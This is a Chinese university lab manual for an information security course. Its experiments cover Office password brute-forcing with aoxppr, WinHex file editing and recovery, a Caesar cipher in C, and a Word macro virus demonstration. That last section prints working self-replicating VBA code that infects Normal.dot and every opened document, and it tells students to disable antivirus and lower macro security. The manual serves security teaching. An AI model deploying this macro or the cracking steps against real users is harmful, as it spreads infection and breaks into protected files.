信息安全与应用---实验指导书

信息安全与应用实验指导书任课教师：***目录实验1. office口令破解工具aoxppr的使用实验2. Winhex编辑软件的使用实验3. 用C语言编程实现凯撒密码实验4. 嗅探器Ethereal的使用实验5. Word宏病毒实验实验6. Web恶意代码实验实验7. 端口扫描X-scan的使用实验8. 加密软件pgp的使用实验一 office口令破解工具aoxppr的使用实验目的：了解word口令破解的方法，掌握暴力破解和字典破解的原理，具体破解某个word 文档。

实验要求：某个同学设置word口令，长度分别为4，5，6，采用字母数字混合。

实验步骤：1．安装aoxppr，点setup，一步步安装完成；2．运行Aoxppr，点击“帮助”，点击“输入注册码”，打开key.txt文件，输入注册码，OK；3．破解类型选项，选暴力破解，字母数字混合，密码长度最大选6；4．某人制作一个word文档，对其进行加密；5．另一人对其进行解密，在Aoxppr中输入待解密文件的文件名，点击开始解密。

如果该文档没有密码，软件马上就会报告此文档不用解密，4位密码很快就可破译，6位的密码破解时间要长一点，运行过程中，随时可以终止运行。

6．系统破解后，会显示出Office文档的密码。

7．破解过程中可以使用掩码，如密码有8位，以x开始，以99结束，可以设置掩码为"x99"8．用该密码去解密OFFICE文档。

实验二.winhex编辑软件的使用实验目的：1。

利用Winhex查看磁盘文件的十六进制编码；2。

利用Winhex实现文件的简单数学3．加密变换；利用Winhex恢复被误删除的文件。

实验要求：1人1组，独立完成实验步骤：1．在D盘根目录中建立X-ways文件夹，再在这个文件夹中建立case、images、temp等3个文件夹，分别用于保存案例文件、镜像文件和临时文件。

运行winhex，进入系统。

2．根据提示，必须选择“Computer forensics interface（计算机取证）”。

3．完成后进入软件操作界面。

4．在D盘的X-ways中建立一个文本文件x-ways.txt，内容为“练习使用winhex 软件”。

在winhex界面中，单击“file”----“open”。

5．将第1，2两个字节改为“D1 A7”，“练习”变为“学习”。

6．保持打开的x-ways.txt文件，单击“Edit”----“modify data”，选择“xor”并输入75，即完成了该文件的加密变换。

7．在winhex中关闭x-ways.txt文件，进入“资源管理器”将该文件删除并清空回收站，此时windows系统无法恢复该文件。

下面利用winhex来恢复该文件。

8．单击“case data”窗口中的“file”----“create new case”建立新的分析案例，然后单击“file”----“add medium”添加新的存储介质，此处为D盘。

添加后进入“x-ways”文件夹，可发现被删除的文件已在其中。

右击该文件，选择“Recover/copy”，指定目录文件夹后即可恢复该文件。

实验三. 用C语言编程实现凯撒密码一、实验目的：通过编程实现替代密码算法和置换密码算法，加深对古典密码体制的了解，为深入学习密码学奠定基础。

二、实验内容：实验参考步骤：1．新建工程。

工程类型选“win32 console application”，输入工程名称，选取工程存储位置，“下一步”，“一个空工程”，完成。

2．选取“FileView”，点“Source Files”，按鼠标右键，选取“添加文件到目录”，输入文件名，点“确定”。

3．开始编程。

4．编译。

在“工程“，”设置”，“链接”里，把ws2_32.lib 加入。

5．编译生成可执行文件。

6．运行进行测试，输入数据串和密钥，加密，然后解密。

记录下明文和密文。

myCrySubstitude.cpp内容如下：#include "myCrySubstitude.h"int Encrypt(unsigned char* str,unsigned char* code){if(str==NULL || code==NULL)return CRYPT_ERROR;int str_length = 0;int i = 0;while(str[i]!='\0'){str_length++;i++;}if(str_length>1024){printf("明文的长度超过1024位");return CRYPT_ERROR;}else if(code[1] != '\0'){printf("密钥输入字符不是一位");return CRYPT_ERROR;}if(ToLowerCase(str) != 0){printf("明文字符串转化小写字符出错");return CRYPT_ERROR;}if(ToLowerCase(code) != 0){printf("密钥字符串转化小写字符出错");return CRYPT_ERROR;}int key = code[0]-97;for(i=0;i<str_length;i++){str[i]+=key;if(str[i]>122)str[i]-=26;}return CRYPT_OK;}int Decrypt(unsigned char* str,unsigned char* code) {if(str==NULL || code==NULL)return DECRYPT_ERROR;int str_length = 0;int i = 0;while(str[i]!='\0'){str_length++;i++;}if(str_length>1024){printf("明文的长度超过1024位");return CRYPT_ERROR;}else if(code[1] != '\0'){printf("密钥输入字符不是一位");return CRYPT_ERROR;}if(ToLowerCase(str) != 0){printf("明文字符串转化小写字符出错");return CRYPT_ERROR;}if(ToLowerCase(code) != 0){printf("密钥字符串转化小写字符出错");return CRYPT_ERROR;}int key = code[0]-97;for(i=0;i<str_length;i++){str[i]-=key;if(str[i]<97)str[i]+=26;}return CRYPT_OK;}int ToLowerCase(unsigned char* str){if(str == NULL)return 0;int i = 0;for(i=0;str[i]!='\0';i++){if(str[i]>64&&str[i]<91)str[i]+=32;else if(str[i]>96&&str[i]<123);else{printf("输入了非英文字符");return 1;}}return 0;}实验四.嗅探器Ethereal的使用参看教材P300页。

实验五.Word宏病毒实验实验目的：1.演示宏的编写；2、说明宏的原理及其安全漏洞和缺陷；3、理解宏病毒的作用机制实验平台：Windows系列操作系统，Word 2003应用程序实验步骤：1．软件设置：关闭杀毒软件；打开Word 2003，在工具→宏→安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visual basic 项目的访问。

注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。

２．自我复制功能演示。

打开一个word文档，然后按Alt+F11调用宏编写窗口（工具→宏→Visual Basic→宏编辑器）,在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码（参见源代码macro_1.txt），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。

代码如下：'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseSet ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith hostIf .Lines(1, 1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 2, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithEnd Sub代码解释以上代码的基本执行流程如下：1)进行必要的自我保护Application.DisplayStatusBar = FalseOptions.SaveNormalPrompt = False高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将工具菜单中的宏选项屏蔽，也可以修改注册表达到很好的隐藏效果。